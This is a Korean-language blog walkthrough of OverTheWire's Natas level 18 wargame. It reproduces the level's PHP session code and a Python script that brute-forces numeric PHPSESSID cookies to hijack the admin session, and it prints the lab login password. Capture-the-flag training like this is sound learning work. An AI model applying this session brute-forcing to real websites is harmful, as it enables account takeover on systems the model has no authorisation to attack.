Post

Natas Level 18 풀이


로그인


Username: natas18
URL: http://natas18.natas.labs.overthewire.org


이번에는 username과 password를 입력하는 칸이 있다.
소스코드를 보자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?php

$maxid = 640; // 640 should be enough for everyone

function isValidAdminLogin() { /* {{{ */
    if($_REQUEST["username"] == "admin") {
    /* This method of authentication appears to be unsafe and has been disabled for now. */
        //return 1;
    }

    return 0;
}
/* }}} */
function isValidID($id) { /* {{{ */
    return is_numeric($id);
}
/* }}} */
function createID($user) { /* {{{ */
    global $maxid;
    return rand(1, $maxid);
}
/* }}} */
function debug($msg) { /* {{{ */
    if(array_key_exists("debug", $_GET)) {
        print "DEBUG: $msg<br>";
    }
}
/* }}} */
function my_session_start() { /* {{{ */
    if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
    if(!session_start()) {
        debug("Session start failed");
        return false;
    } else {
        debug("Session start ok");
        if(!array_key_exists("admin", $_SESSION)) {
        debug("Session was old: admin flag set");
        $_SESSION["admin"] = 0; // backwards compatible, secure
        }
        return true;
    }
    }

    return false;
}
/* }}} */
function print_credentials() { /* {{{ */
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas19\n";
    print "Password: <censored></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
    }
}
/* }}} */

$showform = true;
if(my_session_start()) {
    print_credentials();
    $showform = false;
} else {
    if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
    session_id(createID($_REQUEST["username"]));
    session_start();
    $_SESSION["admin"] = isValidAdminLogin();
    debug("New session started");
    $showform = false;
    print_credentials();
    }
}

if($showform) {
?>




풀이



createID 함수에서 입력받은 user에 따라 640까지의 정수 중 랜덤으로 세션ID를 생성한다.

print_credentials() 함수에서 생성된 세션ID가 admin의 세션ID와 일치할 경우($_SESSION[“admin”] 가 1인 경우),
natas19의 패스워드가 출력되는 듯 하다.

admin의 세션ID를 모르지만 640까지의 정수 중 하나일테니 자동화 프로그램을 써서 찾으면 된다.




자동화 프로그램


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
 
def find_session_ids():
    url = 'http://natas18.natas.labs.overthewire.org/'
    auth = ('natas18', '8NEDUUxg8kFgPV84uLwvZkGn6okJQ6aq')
 
    for session_id in range(1, 641):
        cookies = {'PHPSESSID': str(session_id)}
        response = requests.get(url, auth=auth, cookies=cookies)
 
        if "You are an admin" in response.text:
            print(f"Admin session ID found: {session_id}")
            break
 
find_session_ids()

세션ID를 하나씩 날리다가 “You are an admin” 이라는 텍스트가 뜨는 경우의 세션ID를 출력하게 했다.

admin의 세션ID값은 119였다.
이걸로 쿠키 변조하면 natas19의 패스워드가 나온다.

Desktop View

This post is licensed under CC BY 4.0 by the author.